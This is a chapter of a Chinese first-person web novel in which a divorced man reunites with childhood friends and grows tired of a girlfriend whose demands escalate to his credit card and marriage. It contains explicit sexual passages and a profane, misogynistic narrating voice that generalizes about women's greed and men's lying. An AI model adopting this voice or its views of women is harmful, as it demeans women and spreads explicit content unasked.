婚姻男女(又名离婚男女or落叶) 6[暴力虐待]

 

六、谁让爱走远

谁要失足在爱情的陷阱中,他应该力图拨出脚来,以免把翅翼缠住。
 

 ——布鲁诺

在和军子谈话后的第二天,我就请假去医院做了一个全套的性病检测。抽了血,验了尿,然后怀着忐忑不安的心情等待结果。

万幸的是,一切正常。看着化验单上满眼的“一”号和“阴性”的结论,我长长地松了口气,心想阿弥陀佛,幸好没中标。

A女似乎没有察觉到我对她日渐增多的警觉和厌倦,而是继续信心满怀,一个接一个制造沖突,试探我的承受底线。

和她交往两个月,前一个月契合大于沖突;后一个月,是沖突大于契合。特别到了最后半个月,她是一个要求接一个要求,一次撒泼接一次撒泼,终于让我忍无可忍,最后来了个“风萧萧兮易水寒,壮士一去兮不複还”。

某个双休日,我接到军子的电话,说我另一个哥们建国的未婚妻,现在刑满释放了,想跟我们坐坐,一起吃个饭。

说到这里,不得不隆重介绍一下我的几个狐朋狗友了。

我的发小儿有三个,军子,建国,强子,加上我,一共四个。我们几个人,从小生活在一个大院里,父母们都是同事、邻居和朋友。我们从穿开裆裤一起玩泥巴开始,一直到上同一所幼儿园,同一所小学,同一所中学,一直到上大学才分开。这样的关系,用铁哥们来形容一点不过分。

我上小学时候,刚刚流行开武打影视剧,比如什麽《少林寺》《霍元甲》之类的。社会上也流行讲哥们儿义气,影响到学校。我们四个人,就学着刘关张桃园三结义的形式,结拜成把兄弟,发誓有福同享、有难同当。

那还是八十年代初期,正在深入揭批“四人帮”。受社会大环境的影响,我们几个也就自诩爲“四人帮”,还根据每人的特性,分配了角色:我因爲说话慢条斯理,又常常玩含蓄不苟言笑,被封爲狗头军师张春桥;后来成了中学教师的强子,从小长的眉清目秀,但个性比较懦弱,遇事没主心骨,被封爲草包副主席王洪文;后来成了报社记者的建国,小时候作文写的特别好,经常挨老师表扬,我们就称他爲笔杆子姚文元。

我们这个小“四人帮”,有一个天然形成的领导核心,我们敬爱的旗手江青同志,那就是军子。一方面军子这人就爱多管閑事,另一方面这家伙点子多,反应快,手段多,关键时候总能派上用场。还有一点,军子他爸的官最大。所以,大家遇到有什麽事,首先都会想到通知军子,然后由军子把信息发布出去,从小到大都是这样。

当然了,我们这个小“四人帮”和那个老“四人帮”不可同日而语,我们可都是小人物,没干过什麽祸国殃民的坏事。

这次军子召集大家凑到一块喝酒,是爲了祝贺建国未婚妻获释出狱。十年前,就在我开始十年婚姻噩梦的时候,建国和他的未婚妻也打算领证结婚了。就在领证前夕,他未婚妻出事了。

建国的未婚妻姓周,年轻时是个挺单纯的女孩,人长得中等偏上。那时刚参加工作不久,在一家国企当出纳。两人要结婚了,可是女的家里条件不是很好。建国家虽然条件略微好一些,但毕竟只是普通机关干部,建国自己事业又刚起步,买了房以后没什麽钱装修和买电器了。

那两年股市不错,建国的未婚妻就想,利用手中掌管的公款,到股市里捞一把再还上,这样就能有钱结婚用了。一念之差,瞒着建国用公款进了股市,但一进去就赔了。后来东窗事发,判了十三年徒刑。

那一年,建国才25岁,他未婚妻才23岁,两人还没领证。

如果建国是个无情无义的男人,遇到这种情况就肯定会“夫妻本是同林鸟,大难临头各自飞”了,何况两人还没领证,还不算夫妻。别说无情无义的男人,怕是十个里头有九个要三十六计走爲上策了。但建国让人佩服的就是这一点:一方面他把房子卖了爲未婚妻退赃,争取宽大处理;另一方面在未婚妻判刑后一直没有变心,几乎用一切可能的机会去看她,勉励她,等她出来。

本来,一个才20多岁刚走上社会的小姑娘遇到这种事情,对人生前途的打击是毁灭性的,那时估计想死的心都有。但是有建国的不离不弃和不断鼓励,建国未婚妻还是挺过来了,改造也很积极,后来减刑到十年。

建国未婚妻并不是坏人,她的错误是一时糊涂,在不该伸手的时候伸了手,想搞投机捞一票。其实,世上哪有那麽好的事情,别人搞投机发财不等于你自己就有那个运气。所以,不该伸手的时候,千万不要伸手,千万不要靠侥幸心理做事。心怀侥幸去投机,十有八九要失败。

这十年,建国跟我们不止一次喝过酒、虽然大家都越来越老,但建国衰老得比我们更快,以至于三十五岁的他,看上去像四十多快五十的人,跟年龄根本就不相配。这些年,他居无定所,一个人孤独而焦虑地生活;又总是在外边采访,生活也不规律,慢慢地身体垮了;吃饭在外边凑合多了,还染了肝炎。

人就是这样,当开始爲一个目标奋斗时,他会很有信心和决心。但随着付出代价越来越多,离目标越来越近的时候,人反而会动摇。所以不是有句话叫“黎明前的黑暗”吗?接近目标的那段时间是最难熬的。

建国头几年还好,最后那两年,眼见着未婚妻获释的日子一天天临近,他的精神也开始接近崩溃。几乎跟我们喝一次酒就哭一次,一边哭一边说:“你们不知道,这些年我都过得什麽日子,我是扳着指头等她出来啊。”

最初两年,我们曾劝过他别等了,趁年轻再换一个,天涯何处无芳草呢,你自己条件又不差。但建国却回答说:“她是爲了我,爲了我们的小家才进去的,我不能就这麽丢下她不管;我不管她,她出来可怎麽活啊。”

见他这麽说,我们也就不劝分了,只是不停地勉励他:等下去,幸福一定会等来的。

如今,他的她终于出来了。军子就召集我们几个哥们凑一起爲他俩庆祝。

建国的未婚妻年轻时就谈不上很漂亮,而且经过十年牢狱之苦,更是苍老憔悴。大概跟社会隔绝太久,她显得呆头呆脑的一脸木讷。我们跟她说话,她总是一副魂不守舍的样子,跟她说句话,往往要重複二三遍她才能明白是什麽意思。

酒席一开始,大家当然是把这事当喜事来庆祝的,笑呵呵地互相寒暄,说一些恭维话,比如他俩是天生一对,苦尽甘来,等等。

菜上齐后,军子提议,大家一起爲建国夫妻破镜重圆干杯。于是大家起立,碰杯。

建国端着酒杯,想说两句话,可是他努力了半天,却什麽也说不出来,喉结上下翻滚了一会,突然“哇”地一声哭了。接着他的未婚妻也哭了,放下酒杯,扑到建国怀里抱头痛哭。

情绪是可以互相感染的,这对苦命鸳鸯以泪洗面,让我们这些没有经曆过这种折磨的人们,也忍不住眼眶湿润。军子在抹眼泪,强子也在抹眼泪。

而我,这个刚刚从婚姻围城里走出来的人,看着别人坚守这漫长的婚约,苦尽甘来;又想到自己,十年惨淡经营,却落个竹篮打水一场空,更是不胜唏嘘。泪水如同断了线的珠子一样,不断往外涌。

正在泪流满面之时,我的手机响了。打开一看,是A女打来的。

我忙放下酒杯,在桌上拿了一张餐巾纸擦干眼泪,擤了擤鼻涕。然后,稍稍稳定了一下情绪,出了包间到走廊上接电话。

电话里A女先问:“守杰,你在干嘛呢?怎麽吵吵嚷嚷的?”

“哦,我在陪几个朋友吃饭呢。”我回答道。

“哦,那难怪这麽吵。”A女接着问:“你在哪吃饭啊?”

“中关村。”我回答道。

“哦……诶,守杰,你猜猜我在哪?”

“猜不出来。”

“我在王府井逛街呢,你来陪我吧。”A女向我提出了要求。

“那怎麽行啊,我正在陪朋友吃饭呢。”我连忙拒绝了她的要求。

“那你吃一会儿再来陪我。”

我回答道:“那……不太好办,今儿这个朋友的老婆刚刑满释放,大家好不容易凑一堆,这才刚开始吃上,不是一会两会儿能吃完。再说了,待会我们吃完了,也可能还得坐坐聊聊。这个,我不能答应你,逛街,以后吧,啊。”

“不,我要你答应我,你必须过来陪我。”A女在电话里流露出了一点生气的口吻:“你总不至于把我看得,还没你的那帮狐朋狗友重要吧?”

“不行不行,我不能答应你,这根本不是一码事。”我继续解释:“这些发小儿跟我都几十年交情了,又是这种大事,我无论如何是不能溜号的。逛街,咱们以后有的是时间,但这次我确实不能陪你,你别逼我,让我左右爲难啊,理解我一下吧,啊。”

本以爲这麽好言好语解释一下就没事了,谁知A女竟然勃然大怒,居然对着电话机喊了起来,说:“什麽?你觉得你的劳改犯朋友比我还重要吗?我就是逼你又怎麽啦?你是打算跟你的狐朋狗友过一辈子,还是打算跟我过一辈子?嗯?”

我一听,心说你这人怎麽这麽不识相呢?我跟你解释得够清楚了,你他妈的干吗非要逼我啊?真是不识擡举。

我强压住情绪,继续耐心解释:“我说你就别逼我了,人家这是劳改了十年,刚出来给人家庆祝,情况特殊嘛。平时,你要我陪你逛街,我不是都陪你去了吗?这次特殊情况,我实在是走不开,你就不能体谅我一下?”

A女却根本不听我的解释,嗓音骤然间提高了八度,开始大喊大叫:“我凭什麽要体谅你啊?嗯?你好意思跟你那帮酒肉朋友混,把自己老婆晾一边,我又凭什麽体谅你?你把我放到一个什麽位置了?你体谅我内心的感受了吗?我好心请你来一起逛街,怎麽就那麽难?你以爲你是皇上啊?你的大驾就这麽难请?我在你心目中的位置就这麽不重要?”

她的这番话,是以歇斯底里的口吻喊出来的,看样子是真发火了。以前不知道,这才头次领教,A女发起火来,那嗓门可真不小。以至于隔着电话我都觉得特刺耳,不由得把手机稍微挪开耳边一点,忍受着A女连珠炮似的责问,觉得真是莫名其妙。这些女人,怎麽跟她们讲个道理就这麽难呢?

我皱了皱眉头,继续强作耐心,说道:“这是哪跟哪啊?你在我心目中地位,跟我那帮哥们没可比性啊!场面上有些应酬是根本躲不开的,干事情你得分个轻重缓急吧?在这种情形下我要是走了,人家怎麽看我李守杰啊?以后我在朋友那里可怎麽混呢?……”

但是A女丝毫没有听进去我的申辩,而是突然打断了我的话,声嘶力竭地喊:“李守杰,废话少说,我限你半小时过来!”

说完,她气哼哼地挂了电话。

与A女通话时,我透过手机能清晰地听到,她那头商场里所特有的喧哗声和广播里的女音。这麽大庭广衆之下,却大吼大叫的,也不怕别人看见笑话?操,你他妈哪根筋犯病了?要我半小时内过去?你他妈的当我是什麽人?被你召之即来挥之即去?做梦吧你。

想到这里,一股厌恶的情绪油然而生。于是,我返回了包间,根本就不理会这事了。

当我回到座位上坐定,大家情绪已经稳定下来了。我们“四人帮”的旗手军子同志,正在那里侃侃而谈,仔细一听,是在安排建国夫妻以后的生活。

只听军子说:“……京东锦绣花园还有几套尾盘,有个16楼,朝向和通风都不错,大概一百多一点的套型。要是你们瞧得起我的房子,那安排一下,可以按成本价给你们一套。那房子是2000年开发的,就按那时候成本价给你。不用贷款了,免得受银行那帮黄世仁盘剥,分期付款就成。期限你们自己定,十年八年的都没问题,跟我打个招呼就成。当然啦,我也不是开慈善中心的,建国你也不是叫花子,钱早晚要给。”

然后,军子又宣布,打算录用建国未婚妻到自己公司工作。

建国两口子听到这两个意外的喜讯,向军子千恩万谢,双双站起来向军子敬酒。军子也站起来,跟他们碰了杯,一饮而尽,然后坐下来说:“别谢了,建国,小周,咱们谁跟谁啊,谢就见外了。我们几个从小凑一起臭味相投,都二三十年了,那是了不起的缘分,谁让我们是‘四人帮’呢,都是一根线上的蚂蚱。再说了,风水轮流转,啥时候备不住我军子也栽了,到时候还不是咱们几个哥们互相帮忙,你们说是不是?”

大伙连忙附和着说:“那是,那是”。

说到这里,气氛变得热烈起来。大家频频举杯,觥筹交错,包厢里充满了快活的空气。

就这麽边吃边聊,又过了一会,我接到A女第二个电话。见状我又起身到了过道里边,一接,她歇斯底里的噪音直沖我的耳朵:

“李守杰,你真的做得出来啊?我几次三番邀请你陪我逛街,你就跟你那几个狐朋狗友一起,把我凉在一边吗?我再问你一遍:你到底过不过来?“

见她这麽不识时务,我也懒得再费口舌解释了,就很坚定地说:“我说过了,不能过去。”

“好哇,这就是你对自己老婆的态度吗?行,你有种,我告诉你,李守杰,我也不是好欺负的,你这麽欺负我,我一定会给你报複的!”显然,A女被我屡次的拒绝彻底惹烦了,电话里气势汹汹地威胁起我来。

我皱着眉头听完她又一次疯狂的嚎叫,心里的反感更加深了:妈的,你还自称我老婆?谁他妈确认你是我老婆了?你他妈的自作多情吧?老子现在都考虑是不是该把你一脚踹了,你还这麽自我感觉良好。即便你是我老婆又怎麽着?要是老这麽无理取闹,老子也得把你给休了。又一想,妈的,肯定是丫又看上什麽时髦衣服了,兜里没钱,想让我赶过去给她买单。

想到这里,心里更是厌恶到了极点,索性把电话关机,任她在大街上发疯去。

奇怪的是,这次风波居然没有下文,她也没跟她扬言的那样报複我什麽。第二天,她又跟没事一样,温柔地给我打来电话,要我去她家。我见她识趣,也就去了。

谁知一去到了才知道,丫这是摆了鸿门宴,做出一副冷冰冰的样子,对我说:“李守杰,我已经考虑过了,咱们俩的关系该结束了。”

我一听,挺意外,但转念一想:那敢情好,我还正发愁怎麽甩了你呢,结果还没等老子开口你就先开口了,真是正瞌睡呢你就塞给我一个枕头。

于是我立刻回答说:“那行,你说结束就结束吧。”

说完,我转身就向门口走去。

A女一看我真走,慌了,一下子抓住我的胳膊,泪珠子在眼眶里晃了两下,掉下来了,哭哭啼啼地说:“好啊,守杰,你这麽无情?都说癡情女负心郎,我今儿可是见着了……你爲什麽这麽狠心啊你?”

我一看,妈呀,我这辈子就怕女人掉眼泪,丫怎麽又哭了?也就没敢继续耍横,问道:“不是你提出要分手吗?你都要分手了,那我还赖在这里干吗?”

“我提要分手你就真的分手?你就不会求求我啊?”A女一边哭,一边问。

什麽?求求你?操!谁他妈求谁啊?这些女人,怎麽总是喜欢虚张声势?表面上牛逼哄哄,实际上色厉内荏,一天到晚这麽装啊装,累不累啊?

但是,我不好直接跟她这麽说,怕她再哭个不像样,就顺着她的意思息事甯人:“好,我求求你。别哭了好不好?”

本以爲这下就该好了,谁知她哭得更凶了,哇哇地,还对我连掐带打的。我一边抵挡,一边着急,虽然有拔腿走人的欲望,但又怕她做出自杀自残之类不可测的事情,只得硬着头皮继续劝她。

劝了很久,胳膊被她掐的青一块紫一块的,她突然止住哭泣,问了一个以前问过我无数遍的老问题:“守杰,你说,你离开我你就活不下去,是不是这样?”

什麽?离了你我就活不下去?听到这里,我心里一阵腻歪。以前并不觉得,但此时她问这个话,让我觉得特别刺耳,心想:你他妈真是病的不轻,你这股子自信打哪儿来的?这个世界离了谁,地球还不是照样转?你以爲你是谁啊,我不靠你吃不靠你喝,就跟你认识才一两个月,连你有过多少性伙伴都没搞清楚,我还就离不开你了?你他妈的也太把村长当干部了吧?别说离开你,就是你他妈的今天挂了,明天,顶多后天,老子就能换个女人操。

但心里虽这麽想,嘴上却不能这麽说,那一说破多尴尬。只得违心地附和着她说:“嗯,是啊,没你我都不知道该怎麽办了。”

等我这麽说了,A女才算破涕爲笑,又拉着我亲吻起来,心疼地亲吻我胳膊上的掐痕,又要我今天就别走了,晚上跟她过夜吧。

我一听,也行,那晚就没走。没走是没走,但心里烦透了这种伎俩,都他妈中年妇女了,还玩十七八岁小萝莉的套路,有没有点自知之明啊?

在我看来,女人所问出的最愚蠢的问题,就是逼问男人:“你究竟爱不爱我?”或者问:“我究竟美不美?”或者说:“难道你能离开我吗?”

唉,这些个问题,女人要想从男人嘴里逼出来,那是一个破钱都不值。一个男人,上午可以跟张三说,我对你的爱像马里亚纳海沟那麽深;下午可以跟李四讲,你比荷马史诗里边的海伦还美;晚上还可以跟王麻子发誓,离了你我一小时都活不成。爲什麽呢,这太容易了,说一万句不如一个行动。爱是需要日久天长见证的东西,光说一句顶个屁用。

可是A女就跟中了邪一样,老是缠着我问这些弱智问题,就跟一定要得到肯定答複似的。爲了摆脱这种没完没了的纠缠,我当然只能让她满意啦:我爱你,你很美,你是我的女神,你是我的天使,我他妈的离了你我就活不成,等等。

嘿嘿,女人,别太强求男人赞美你。如果你足够优秀,男人该赞美你的时候自然不吝惜最优美动听的词彙;但是男人不想赞美你时,你苛求男人的赞美,那麽得到的只能是谎言。千万别把谎言当真,把自己在他心目中的地位想象得有他嘴上说的那麽重要,不是那回事。

但这A女智商也够呛,听了我这麽多违心的赞美,她还真以爲我就离不开她了。乘着这股莫名其妙的自信,丫是一个要求接一个要求,让我目不暇接。估计她想:“反正你丫的也离不开我了,我提的要求啊,你不乖乖就范还能怎麽着?”

结果当天晚上,急于求成的她,又来了一次新的试探,导致我彻底把她Delete掉了。掉了。

那天,我们洗完,脱的溜光躺在床上,A女又照例爲我舔小弟弟,舔屁眼,舔着舔着,她突然握着硬梆梆小弟弟看着我,以抱怨的口吻说:“守杰,你这人哪里都好,就是小气了点。以前追过我的人里,你是最抠门儿的一个。人家都表示要送房送车呢,你却连买几件破衣服都唧唧歪歪的,真是没劲。”

我一听,心想:靠,又来了,嘴皮子上表示一下谁他妈不会啊,我还打算把国家大剧院送给你呢,你要吗?要是别的男人都跟你说得那麽慷慨,你儿子还至于穿着露脚丫子的破鞋?

想到这里,我很惊讶地回答说:“我这还算小气啊?你看我们交往这一个多月,不算吃饭和出去玩的开销,光算给你跟皮皮买的东西,我怕是都花进去两万了吧?说实话,这俩月我不光自己每个月的薪水花个精光,钱不够了跑银行取存款都去了几回呢。”

A女先是装作惊诧的样子,在我随口数了几个花钱项目以后,她不好再否认,就回答说:“我不是指你花钱少了,而是觉得你对我不够信任。”

我依然很惊讶,问:“哦?我都这样了你还觉得我不够信任你?你倒是说说,我哪里让你觉得我不信任你了?”

A女回答道:“你看,咱俩都已经上床这麽久了,我子宫里都有你多少精液了啊,你都还没主动提出来把你的信用卡交给我,或者办个附卡,让我也体会一下有钱人那种刷卡不眨眼的感觉!”

我一听,心想:妈呀,这下可碰到抢劫了!什麽刷卡不眨眼,分明是杀人不眨眼!谁说我跟你上床了就得把信用卡给你?你他妈的离婚五六年,起码跟一两打男人上过床,我射进你子宫里去的那点精液完全是沧海一粟。要是人人都得给你信用卡,那你他妈的不早成大富婆了哇?

好歹咱还没有色令智昏,马上断了她的念想,斩钉截铁地回答道:“这根本不可能。我的卡,只有结婚成家才会考虑给你附卡,这是原则!”

A女见我脸色阴沈、口气冰冷,知道一时半会难以达到目的,就又玩起曲线救国的策略,强作欢顔说:“嗨,我是随便说说,跟你闹着玩的,你别当真,啊。”

然后,她爬到我的身上,开始进入状态了。

我躺在床上,看着她卖劲的动作,目光不由得变得轻蔑起来。心想:你说这是闹着玩的,我可不认爲你是闹着玩的。以前你说要跟我前妻比消费,在我显示不快后你就说是闹着玩的,可是后来,你丫的一步步都诳着我实现了。我是男人,没功夫时时刻刻跟你一个女人算计来算计去的。本着跟你结婚的目的,又觉得你以前挺不容易的,我是尽量迁就你,在你不断施加的压力前步步退让。起初,我以爲你这是一时的疯狂,没準关系确定了就会收敛的。但遗憾,我明白了,不是这样,你是得寸进尺,得尺进丈,得丈进万丈,像他妈的一台榨油机一样越榨越来劲。现在,你已经不满足于爲你和你那宝贝儿子买这买那了,直接打起老子信用卡的主意。信用卡那玩意我能给你吗?如果你是个自觉的女人,没準结婚后我可以考虑;问题是你个物欲狂人,要让你体会到刷卡不眨眼的感觉,把老子透支到破産了,你他妈的都未必能体会到。

想到这里,我忍不住歎了口气。我离婚之后,本来是怀着寻找一个理想妻子的目的出来的,离婚十八天就遇到了她。她看上去浪漫迷人,也会体贴人。对我而言,最初的相处是一种惊喜。我被她感动过好几次,也曾经下决心给她一个美好的生活,对她好。但是我没有想到,这段我本来寄予厚望的缘分,转眼就堕落成了Sex
andMoney的庸俗交换。这不是我所想要的婚姻,她不是我所想要寻找的人。而她,却还不知道我已经把她给Delete掉了,还在卖力地用床第之欢讨好我,还在琢磨着在跟我提新的物质要求,酝酿着对我新的试探……

接二连三几次被她们娘儿俩痛宰,加上A女所做所爲已经超出了我容忍的底线,我已经打定主意要脱身了,一连好多天没有再去A女家,也没主动给过她电话。

A女也发觉我有些冷淡,一天上午上班时给我电话,说她请了假,想回家跟我纵情做爱。正好那天我工作不忙,加上的确有几天没有嘿咻了,也挺想享受一下乐趣,就跟老板扯了个谎说出去拜访客户,开车到了她家。

路上,A女不断发挑逗短信,我也乐得借坡下驴,在短信里调戏她,勒令她化妆,穿上情趣内衣,不穿内裤站在门口爲我开门。本是一句戏言,谁知还她真的照做了。当然,一阵狂干,一炮居然送她到了七八次高潮,真成神炮手了。

完事后,她问我,是不是想冷淡她了?我说不是,只是最近有些忙。

当然,说这些话的时候,我已经完全是虚情假意了。

A女提出晚上出去吃饭,没有小屁孩在场,A女在吃饭上还比较好招呼,于是我同意了,陪她出去吃饭。以往我们吃饭,一般我都顺着她的口味,去找一些口味有些清淡的馆子。这次我不想再顺着她了,直接带她去了一家川菜馆。

“干吗来川菜馆啊,太辣了。”A女口味一向偏清淡,来吃川菜她有些不高兴。

“每一次吃饭都依着你,依着我一次不行吗?”我反问道。

A女不好再反驳什麽,只好跟着我进去了。两人落座后点了菜,我点了两个辣菜,她点了两个清淡一些的。

“守杰,我已经想好了,咱俩结婚吧。”在等菜的功夫,A女说道:“吃完饭,你就陪我出去买钻戒,我想要个半克拉的,好不好?”

“结婚?”我一愣,压根没料到她居然会提结婚这回事。我都準备把你踹了呢,你竟然在想结婚?我在故意冷淡你,难道你看不出来吗?靠,还想让我给你买半克拉的钻戒?那得多少钱啊?烧糊涂了吧?

于是我敷衍道:“呃……现在谈结婚早了点吧?咱俩才交往了不到两个月,互相还不完全了解,有些地方还要看能否磨合,现在谈婚论嫁是不是急了点?……”

“我觉得完全可以了,现在谈结婚一点都不早。”A女喝了一口茶,看着我的眼睛。

她憔悴的眼神里依旧充满了期待,让我不忍心再看,只得低下了头,无意识地盯着自己放在桌面上的双手。

只听A女说道:“守杰,这两个月时间,我已经认定了你的人品,你是天下最好的男人!你温柔,实在,没坏心眼,对皮皮也有耐心,跟了你,我娘儿俩这辈子算是有靠了。”

说完,她伸出一只手,紧紧抓住了我的手。

我缓缓地把自己的手从她手里抽出来,从兜里掏出一枝烟点上,抽了一口。心想:没错,你对我是肯定了,你没理由不肯定我。但我却否定了你,这两个月,我也认定了你的人品。你试出我是天下最好的男人,我也试出了你是天下最贪婪的女人。

当然,嘴上可不能这麽说,而是继续敷衍道:“咱们连对方父母都没见,现在谈婚论嫁有点早吧?虽说是自由恋爱,可双方家人也得接受才行。没準你家人还看不上我呢,我觉得,起码得你家人认可了,才能谈这事儿。”

A女马上说:“守杰,你的情况我跟我爹妈说了很多次了,他们都挺支持我的,你的照片他们也看了,都满意。我妈还说了,遇到你,算是我撞大运了,要我一定珍惜这个机会,好好跟你过。我已经跟爹妈说好了,他们都挺愿意跟你见面的,也不跟你要彩礼什麽的了,希望咱俩快点把事情给办了。我们这个周末就见怎麽样?星期六你去我家见我父母,星期天我去你家,都满意的话咱们就把这事给定了吧,我现在一天都不想拖了,我怕再拖下去夜长梦多。”

A女这番话说的我又有些心软,一直没敢擡起头来,看她那双憔悴而充满期待的眼睛。或许在她眼里,我已经成了一名可以救她出苦海的救世主,但我不是……尽管我曾经有过这种想法,但我发现我不能再去充当什麽人的救世主了,我连自己都救不了。她的物欲太吓人了,她儿子的物欲更吓人,我担当不起,我满足不了,我承受不住,我也容忍不下。尽管她会伺候男人,但她充满了控制欲,她和我前妻一样喜欢博弈,她算计我给女儿的生活费,想让我成爲召之即来挥之即去的小男人,盘算着我的信用卡。我已经不再年轻,没有资本再和她进行一场命运的豪赌……

想到这里,我的心又狠了起来。妈的,事到如今,我已经下定决心三十六计走爲上了。什麽催我结婚,什麽我是世界上最好的男人,怕是惦记着那张附卡快点到手吧。这女人一穷二白,结了婚搞不到一起的话就是再离,她也损失不了什麽,要不然人家怎麽说光脚的不怕穿鞋的呢?我这边怕是就有点惨了,房子,存款,股票,汽车,都得来个二一添作五。本来跟前妻离婚就二一添作五一回了,要是再来这麽一回,我辛辛苦苦十几年,一夜回到解放前,纯粹等于爲这俩女人当包身工了。

本来,既然我愿意接受她的孩子,就抱定了要承担抚养义务,上学、就医、成长、生活,就按一个中産阶级家庭的生活水準来说,十几年下来这些费用在北京怎麽算累计也得个百八十万的。但是,我没法爲深不可测的物欲做计划,也不打算爲这种物欲当冤大头,更不打算牺牲自己女儿的抚养费用去爲别人的孩子填黑坑。

所以,我不能结这个婚。

但是,我当时也没立刻就这麽说,而是支吾着,哼哼唧唧地扯理由:“我还没跟我爸我妈说呢,这事我得先通报一声。而且下个周末日子不一定好,这麽重要的事情,我要回去翻翻老黄曆,挑个黄道吉日。”

“什麽黄道吉日?”

“嗯……是这样。”我现编故事骗她道:“以前,我跟前妻办婚礼时,就没注意,随便定了个日子办了。后来一翻老黄曆,那天偏偏是忌嫁娶的……你看最后我和她还不是黄了,所以我就特别留神,干大事得选日子。”

“啊?你还这麽迷信啊?呵呵,没想到你读了博士,还是信这个啊?”A女对我的迷信感觉有些意外,然后又附和说:“不过,你说的也对,迷信这个东西,不能全信,可也不能不信。以前呀,我有个高中同学,有次跟她老公两人不知道爲什麽吵了一架。几天后她老公出差,她问他什麽时候回来,他老公还生着气呢,就说了声,哼,这辈子都不回来了。她也挺生气,就回敬说,那好,你就死在外边算了。结果,他老公坐的飞机掉下来,死了,连尸首都找不到一个,那句话还真说着了。”

“哦,是吗?”我也被她说的这个故事给震了一下,心想自己以后说话可得留点神,没準哪次还真的一语成谶了。

吃完饭,两人上了车,我正打算把她送回家,A女突然说:“守杰,现在还早啊,陪我逛逛街吧。”

“你不回去照顾皮皮吗?”我问。

“我白天安排好了,让我爸去接皮皮,晚上就住他们那儿了。”A女看了我一眼:“晚上还想跟你玩点刺激的,皮皮在跟前不方便。”

“哦……好,好。”我连声附和道,心说下午不是都打了一炮吗?还想打啊?然后我说:“行,那咱们回去吧。”

“先陪我逛逛街吗,好长时间没陪我逛了。”A女又在央求我:“我看中了一件特有档次的衣服,哎呀别提多有品位了,我早试过几回了,别合身,才一千多块,只是你一直没陪我去,我就没买。”

听了她的话,我心想,靠,我不陪你去你还就不买了?这女人,见了我就他妈的事儿多。只是,现在我实在不想再爲你投入了。

于是我编瞎话推托道:“不行啊,今天白天是请假出来的,晚上还有一堆工作要熬夜做,明天得交工呢。”

“啊?……那就几分锺嘛,我都试好了,到那里直接交钱刷卡就成。”A女依旧纠缠。

我有些被她缠的不耐烦了,眉头一皱,说:“那也不行,我现在可没心情逛。再说了,我爲你买衣服,起码得符合我的审美我才会买单,我没心情的情况下我也没法审美。”

A女见我誓死不从,也没辙了,可又不甘心,就说:“那好,今晚我就顺着你了啊,你看我对你好吧?不过我对你好,你也得对我好。你得答应我,下次得陪我把它买了。”

“行,没问题。”我立刻不假思索地把空头支票开了出去。反正已经不打算跟你处了,要我把天安门买下来我都敢答应。

A女被我的空头支票哄得高高兴兴,很善解人意地对我说道:“那我们早点回去吧,另外啊,你以后最好少熬夜,到这个年纪了,也得注意点身体。”

“呃……是,我们搞IT的,都是这个毛病。”不知怎麽地,听了她这句话,我心头忽然猛地一热。唉,这女人,有时还真让人有点感动。

“以后咱俩结婚了,我可得看着你,一定要让你改了这个毛病,我可不想让你未老先衰了。”A女又温柔地补了一句。

我开车送她回家。打算跟她说再见了,却又有些舍不得。这使得我情绪有些低沈,一路上默默无语。

A女注意到我情绪有些怏怏不乐,就问了句:“你怎麽啦?怎麽看上去垂头丧气的?”

“哦,没事儿。”我随口敷衍道:“一想着晚上还得加班就头疼。”

路上车多,走着走着,一辆红色的奔驰女式跑车出现在我们的视线里。A女连忙提醒我看:“守杰,你看那车多漂亮啊,里边开车的,肯定是个大美女。”

“哦?是吗,你怎麽肯定啊,没準是个老太太呢。”我看了一眼那车,是挺漂亮的。

“绝对是个大美女,不信咱们打赌。”A女异常肯定地对我说。

听她这麽一说,我还真有了看看车主究竟是骡子是马的愿望,就对那辆车紧追不舍。经过几次走走停停,居然在一个等红灯的时候,跟那辆跑车平行了。

我和A女都往右边侧头一看,哇,一点没错,果真是个超级大美女。那女孩也就二十出头的年纪,长得花容月色,又带着股子野性,跟邦德女郎似的魅力四射。

那美女似乎也注意到我们在对她行注目礼,头往我们这里侧了一下,随即又转向前方,下巴高高扬起,一副不可一世的样子。

“怎麽样,我的眼力不错吧?”A女得意地沖我笑了笑:“能开这种车的,不是大户千金,就是富家二奶,怎麽的都是美女。”

“是,是。”我附和着说,然后又忍不住朝美女看了一眼:“你的眼力可真好”。

“唉,人跟人就是不一样啊……”A女感歎道:“诶,守杰,跟你说吧,我也挺想买辆跑车的,我觉得我要是能开上跑车,感觉一点不会比她差。”

“那是……”我附和了一句,心里想:还是差了一点吧,人家可比你年轻十来岁呢。

“诶,守杰,我想好了。”A女见我认同她的话,马上趁热打铁:“我早就想好了,咱们结婚后,我和皮皮就搬到左家庄那房子里住。嘿嘿,想不到啊,我小时候住那,这转一圈还又回来了。真是风水轮流转,呵呵,叶落归根了。不过,你得联系给皮皮转学啊,你们家附近有没有什麽好的学校?”

“这……我还没考虑到。”我回答道,心想,靠,想得美吧,搬我家住?我才不想引狼入室呢。

“你看你,一点责任心都没有。”A女抱怨起我来:“这麽重要的事情,你居然都不事先考虑好。现在转学也不那麽容易,择校的话得花十好几万呢,还不一定交得进去。你不提前準备,那我们搬过去皮皮上学怎麽办哪。”

“呃……是。”我已经準备把你踹了,就不跟你辩解什麽了,乖乖认错就是。

“诶,守杰,我们搬过去以后,原来那房子我打算卖了,你看行不行?”A女说出了对未来的打算:“反正空着也是空着,不如卖了。我那房子虽然旧了点,但现在房价老涨啊,我上中介打听了行情,卖个六七十万也不成问题。我想好了,卖房子的钱,我就买一辆跑车,也不要太高级,二三十万的就成。剩下的钱,就给皮皮存着,让他将来出国留学用。守杰,你说,行不行啊?”

什麽?二三十万的车?你想买二三十万的车?听到这里,我忍不住瞟了她一眼,心里一阵冷笑:靠,你白日做梦吧,我也只不过开个十万的车,你以爲你是谁啊?我都準备跟你拜拜了,你还準备卖房?卖了房,你和你那宝贝儿子,怕是得住前门楼子了……

送A女到了她家楼下,正準备等她下车后打道回府,她突然问:“守杰,你今晚真的要回去加班吗?”

“是啊,我刚才不是说了嘛。”我回答道。

“我想让你今晚陪我。”

“不行,我得加班。”虽然我说加班是骗她的,但话已经出口,覆水难收了,只好装屄装到底了。

“那……可是我还想跟你做爱。”

“啊?下午不是做了一次吗?”我有些爲难情绪反问道:“还做啊?”

“下午做了晚上就不能做了?你中午吃饭晚上还又吃饭呢。”
 
 
A女倒是一套一套的,淫疯劲又上来了,说话也口不择言,显得淫蕩极了:“下午那次我被你肏的真舒服,还想再被你肏一次。”

“靠,哈哈,你真是欠肏。”我揶揄道。

